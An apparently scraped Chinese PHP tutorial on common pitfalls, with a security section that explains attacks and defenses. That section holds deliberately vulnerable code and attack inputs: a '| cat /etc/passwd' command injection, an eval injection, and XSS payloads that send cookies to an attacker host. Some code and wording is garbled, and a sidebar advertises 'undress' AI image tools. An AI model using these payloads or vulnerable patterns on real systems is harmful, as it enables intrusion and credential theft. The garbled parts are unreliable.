백엔드 개발 PHP 튜토리얼 PHP编程注意事项_PHP教程

PHP编程注意事项_PHP教程

Jul 14, 2016 am 10:08 AM
php who 우선 사항 작동하다 주의할 점 프로그램 작성 질문

1、php隐性的三元操作符(?:)优先级问题:

例1:
$person = $who or $person = "laruence";  
  
//实际上是等同于:  
  
$person = emptyempty($who)? "laruence" : $who;  
 例2
$arr = array(1=>1,3=>3);  
$i = 2;  
$a = ’test‘ . isset($arr[$i]) ? $arr[$i] : $i;  
$a 是什么? 这个问题, 咋一看觉得简单, 
$a = ‘test2';
其实仔细推敲后运行的,结果是notice:Undefined index 2..
由于优先级的问题, 连接符的优先级比三元操作符高。
首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true,因此:
$a =  $arr[$i];以致php提示提醒。
 
 
2. PHP函数名和类名不区分大小写的,而变量名是区分大小写的。
所以自己写的php模块,往往是大写的问题,编译不通过。
 
3.系列化传递问题
把复杂的数据类型压缩到一个字符串中
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量
$stooges = array('Moe','Larry','Curly');  
$new = serialize($stooges);  
print_r($new);echo "
";  
print_r(unserialize($new));  
 
结果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ( [0] => Moe [1] => Larry [2] => Curly )
当把这些序列化的数据放在URL中在页面之间会传递时,需要对这些数据调用urlencode(),以确保在其中的URL元字符进行处理:
 
$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4);  
echo 'next';  
 
margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unserialize()中的数据。
如果magic_quotes_gpc项是启用的,那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理:
$new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc开启  
$new_cart = unserialize($cart);  
 
如果magic_quotes_runtime是启用的,那么在向文件中写入序列化的数据之前必须用addslashes()进行处理,而在读取它们之前则必须用stripslashes()进行处理:
$fp = fopen('/tmp/cart','w');  
fputs($fp,addslashes(serialize($a)));  
fclose($fp);  
//如果magic_quotes_runtime开启  
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));  
//如果magic_quotes_runtime关闭  
$new_cat = unserialize(file_get_contents('/tmp/cart'));  
 
在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列化数据必须要经过addslashes()的处理,以便能够适当地存储。
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");  
$rs = mysql_query('select data from cart where id=1');  
$ob = mysql_fetch_object($rs);  
//如果magic_quotes_runtime开启  
$new_cart = unserialize(stripslashes($ob->data));  
//如果magic_quotes_runtime关闭  
$new_cart = unserialize($ob->data);  
当对一个对象进行反序列化操作时,PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。
 
4. 引用注意事项
PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在 PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身――变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wins的快捷方式。
1)unset 一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了
 
例如:不会 unset $b,只是 $a。
 
    
     $a   =   1 ;    
     $b   =&   $a ;    
     unset  ( $a );    
     echo $b; //输出:1:  
 
使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。
原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。
 
2)PHP引用是采用引用计数、写时拷贝
很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。)
就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:
$a = array('a','c'...'n');
$b = $a;
如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。
 
如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。
function printArray(&$arr) //引用传递  
 {  
    print(count($arr));  
}  
 printArray($a);  
 
上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。
 
如果我们把上面的代码改成下面这样:
function printArray($arr)  //值传递  
 {  
     print(count($arr));  
 }  
 printArray($a);  
上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。
具体了解引用请看:PHP中引用的详解(引用计数、写时拷贝)
 
5. 编码的问题
程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?
 $str = “您好hello”;
echo strlen($str);
结果:ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen().
 
6. PHP获取参数的三种方法
方法一 使用$argc $argv
    if ($argc > 1){  
        print_r($argv);  
    }  
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
运行结果:
     # /usr/local/php/bin/php ./getopt.php -f 123 -g 456
        Array
        (
            [0] => ./getopt.php
            [1] => -f
            [2] => 123
            [3] => -g
            [4] => 456
        )
 
方法二 使用getopt函数()
$options = "f:g:";  
$opts = getopt( $options );  
print_r($opts);  
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
 运行结果:
   Array
        (
            [f] => 123
            [g] => 456
        )
方法三 提示用户输入,然后获取输入的参数。有点像C语言
fwrite(STDOUT, "Enter your name: ");  
$name = trim(fgets(STDIN));  
fwrite(STDOUT, "Hello, $name!");  
 
在命令行下运行 /usr/local/php/bin/php ./getopt.php
 运行结果
     Enter your name: francis
     Hello, francis!
 
 
7. php的字符串即可以当做数组,和c指针字符串一样
$s = '12345';  
$s[$s[0]] = 0;  
echo $s;  
?>  
结果是10345
 
 
8. PHP的高效率写法:
   请看:PHP高效率写法(详解原因)
 
9. PHP的安全漏洞问题:
针对PHP的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
     PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
     如:
$dir = $_GET["dir"];   
if (isset($dir)) {       
    echo "";       
    system("ls -al ".$dir);       
    echo "";   
}   
?>   
我们提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
2、eval注入(Eval Injection)
eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。
$var = "var";   
if (isset($_GET["arg"]))   
{   
    $arg = $_GET["arg"];   
    eval("\$var = $arg;");   
    echo "\$var =".$var;   
}   
?>  
 
当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;
防范命令注入和eval注入的方法
   1)、尽量不要执行外部命令。
   2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
   3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
 
3、客户端脚本攻击(Script Insertion)
客户端脚本植入的攻击步骤
1)、攻击者注册普通用户后登陆网站
2)、打开留言页面,插入攻击的js代码
3)、其他用户登录网站(包括管理员),浏览此留言的内容
4)、隐藏在留言内容中的js代码被执行,攻击成功
 
表单输入一些浏览器可以执行的脚本:
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
 防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
 
4、跨网站脚本攻击(Cross Site Scripting, XSS)
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
        插入<script>document.location= &ldquo;go.somewhere.bad?cookie=+&ldquo;this.cookie</script>
      或者是链接:
      http://w w w.my.site/index.php?user=document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;
2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3)、网站执行了此xss攻击脚本
4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5)、攻击者使用目标用户的信息登录网站,完成攻击
      防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
 
5、SQL注入攻击(SQL injection)
     SQL注入最有效的防御方式是使用准备语句:
     准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。
其优点:
   1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。
  2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。
1)用PDO(PHP Data Objects ):
PHP PDO::prepare() and execute()   
  
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');    
  
$preparedStatement->execute(array(':column' => $unsafeValue));   
 
2) 使用mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');   
  
$stmt->bind_param('s', $name);    
  
$stmt->execute();    
  
$result = $stmt->get_result();    
  
while ($row = $result->fetch_assoc()) {    
  
    // do something with $row     
  
}    
 
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。 这个几个选项在PHP5.4都将被弃用。
register_globals:
     php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals
的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。
     要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。 
 
safe_mode:
安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On
 
magic_quotes
用来让php程序的输入信息自动转义,所有的单引号(“'”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP 请求数据,或者用stripslashes 来删除转义。
 

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/477758.htmlTechArticle1、php隐性的三元操作符(?:)优先级问题: 例1: $person = $who or $person = laruence; //实际上是等同于: $person = emptyempty($who)? laruence : $who; 例2 $arr =...
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Dec 24, 2024 pm 04:42 PM

PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

이전에 몰랐던 후회되는 PHP 함수 7가지 이전에 몰랐던 후회되는 PHP 함수 7가지 Nov 13, 2024 am 09:42 AM

숙련된 PHP 개발자라면 이미 그런 일을 해왔다는 느낌을 받을 것입니다. 귀하는 상당한 수의 애플리케이션을 개발하고, 수백만 줄의 코드를 디버깅하고, 여러 스크립트를 수정하여 작업을 수행했습니다.

PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 Dec 20, 2024 am 11:31 AM

VS Code라고도 알려진 Visual Studio Code는 모든 주요 운영 체제에서 사용할 수 있는 무료 소스 코드 편집기 또는 통합 개발 환경(IDE)입니다. 다양한 프로그래밍 언어에 대한 대규모 확장 모음을 통해 VS Code는

JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. Apr 05, 2025 am 12:04 AM

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

문자열로 모음을 계산하는 PHP 프로그램 문자열로 모음을 계산하는 PHP 프로그램 Feb 07, 2025 pm 12:12 PM

문자열은 문자, 숫자 및 기호를 포함하여 일련의 문자입니다. 이 튜토리얼은 다른 방법을 사용하여 PHP의 주어진 문자열의 모음 수를 계산하는 방법을 배웁니다. 영어의 모음은 A, E, I, O, U이며 대문자 또는 소문자 일 수 있습니다. 모음이란 무엇입니까? 모음은 특정 발음을 나타내는 알파벳 문자입니다. 대문자와 소문자를 포함하여 영어에는 5 개의 모음이 있습니다. a, e, i, o, u 예 1 입력 : String = "Tutorialspoint" 출력 : 6 설명하다 문자열의 "Tutorialspoint"의 모음은 u, o, i, a, o, i입니다. 총 6 개의 위안이 있습니다

PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? Feb 07, 2025 am 11:57 AM

이 튜토리얼은 PHP를 사용하여 XML 문서를 효율적으로 처리하는 방법을 보여줍니다. XML (Extensible Markup Language)은 인간의 가독성과 기계 구문 분석을 위해 설계된 다목적 텍스트 기반 마크 업 언어입니다. 일반적으로 데이터 저장 AN에 사용됩니다

PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). Apr 03, 2025 am 12:04 AM

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

php magic 방법 (__construct, __destruct, __call, __get, __set 등)이란 무엇이며 사용 사례를 제공합니까? php magic 방법 (__construct, __destruct, __call, __get, __set 등)이란 무엇이며 사용 사례를 제공합니까? Apr 03, 2025 am 12:03 AM

PHP의 마법 방법은 무엇입니까? PHP의 마법 방법은 다음과 같습니다. 1. \ _ \ _ Construct, 객체를 초기화하는 데 사용됩니다. 2. \ _ \ _ 파괴, 자원을 정리하는 데 사용됩니다. 3. \ _ \ _ 호출, 존재하지 않는 메소드 호출을 처리하십시오. 4. \ _ \ _ get, 동적 속성 액세스를 구현하십시오. 5. \ _ \ _ Set, 동적 속성 설정을 구현하십시오. 이러한 방법은 특정 상황에서 자동으로 호출되어 코드 유연성과 효율성을 향상시킵니다.

See all articles